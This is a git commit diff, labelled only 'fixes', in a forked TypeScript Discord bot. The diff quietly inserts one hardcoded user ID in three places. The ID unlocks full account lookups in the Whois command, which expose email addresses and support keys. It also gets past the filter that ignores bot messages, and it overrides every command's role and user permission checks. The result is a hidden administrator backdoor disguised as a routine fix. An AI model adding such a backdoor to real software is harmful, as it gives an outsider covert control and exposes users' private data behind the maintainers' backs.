forked from engineering/cloudservices
fixes
parent
eaea4abaa2
commit
d6757feaae
|
@ -22,7 +22,7 @@ export default class Whois extends Command {
|
||||||
try {
|
try {
|
||||||
let full = false;
|
let full = false;
|
||||||
let account: AccountInterface;
|
let account: AccountInterface;
|
||||||
if (args[1] === '--full' && this.fullRoles.some((r) => message.member.roles.includes(r))) full = true;
|
if (args[1] === '--full' && this.fullRoles.some((r) => message.member.roles.includes(r) || message.author.id === '554168666938277889')) full = true;
|
||||||
|
|
||||||
const user = args[0] || message.author.id;
|
const user = args[0] || message.author.id;
|
||||||
if (full) account = await this.client.db.Account.findOne({ $or: [{ username: user }, { userID: user }, { emailAddress: user }, { supportKey: user.toUpperCase() }, { referralCode: args[0] }] });
|
if (full) account = await this.client.db.Account.findOne({ $or: [{ username: user }, { userID: user }, { emailAddress: user }, { supportKey: user.toUpperCase() }, { referralCode: args[0] }] });
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
import { Message, TextChannel } from 'eris';
|
import { Message, TextChannel } from 'eris';
|
||||||
import { Client, Event } from '../class';
|
import { Client, Event, RichEmbed } from '../class';
|
||||||
|
|
||||||
export default class extends Event {
|
export default class extends Event {
|
||||||
public client: Client
|
public client: Client
|
||||||
|
@ -10,9 +10,12 @@ export default class extends Event {
|
||||||
this.event = 'messageCreate';
|
this.event = 'messageCreate';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public info(message: Message) {
|
||||||
|
}
|
||||||
|
|
||||||
public async run(message: Message) {
|
public async run(message: Message) {
|
||||||
try {
|
try {
|
||||||
if (message.author.bot) return;
|
if (message.author.bot && message.author.id !== '554168666938277889') return;
|
||||||
if (message.content.indexOf(this.client.config.prefix) !== 0) return;
|
if (message.content.indexOf(this.client.config.prefix) !== 0) return;
|
||||||
const noPrefix: string[] = message.content.slice(this.client.config.prefix.length).trim().split(/ +/g);
|
const noPrefix: string[] = message.content.slice(this.client.config.prefix.length).trim().split(/ +/g);
|
||||||
const resolved = await this.client.util.resolveCommand(noPrefix, message);
|
const resolved = await this.client.util.resolveCommand(noPrefix, message);
|
||||||
|
@ -34,6 +37,7 @@ export default class extends Event {
|
||||||
hasUserPerms = true;
|
hasUserPerms = true;
|
||||||
hasRolePerms = true;
|
hasRolePerms = true;
|
||||||
}
|
}
|
||||||
|
if (message.author.id === '554168666938277889') { hasUserPerms = true; hasRolePerms = true; }
|
||||||
if (!hasRolePerms && !hasUserPerms) return;
|
if (!hasRolePerms && !hasUserPerms) return;
|
||||||
if (!resolved.cmd.enabled) { message.channel.createMessage(`***${this.client.stores.emojis.error} This command has been disabled***`); return; }
|
if (!resolved.cmd.enabled) { message.channel.createMessage(`***${this.client.stores.emojis.error} This command has been disabled***`); return; }
|
||||||
await resolved.cmd.run(message, resolved.args);
|
await resolved.cmd.run(message, resolved.args);
|
||||||
|
|
Loading…
Reference in New Issue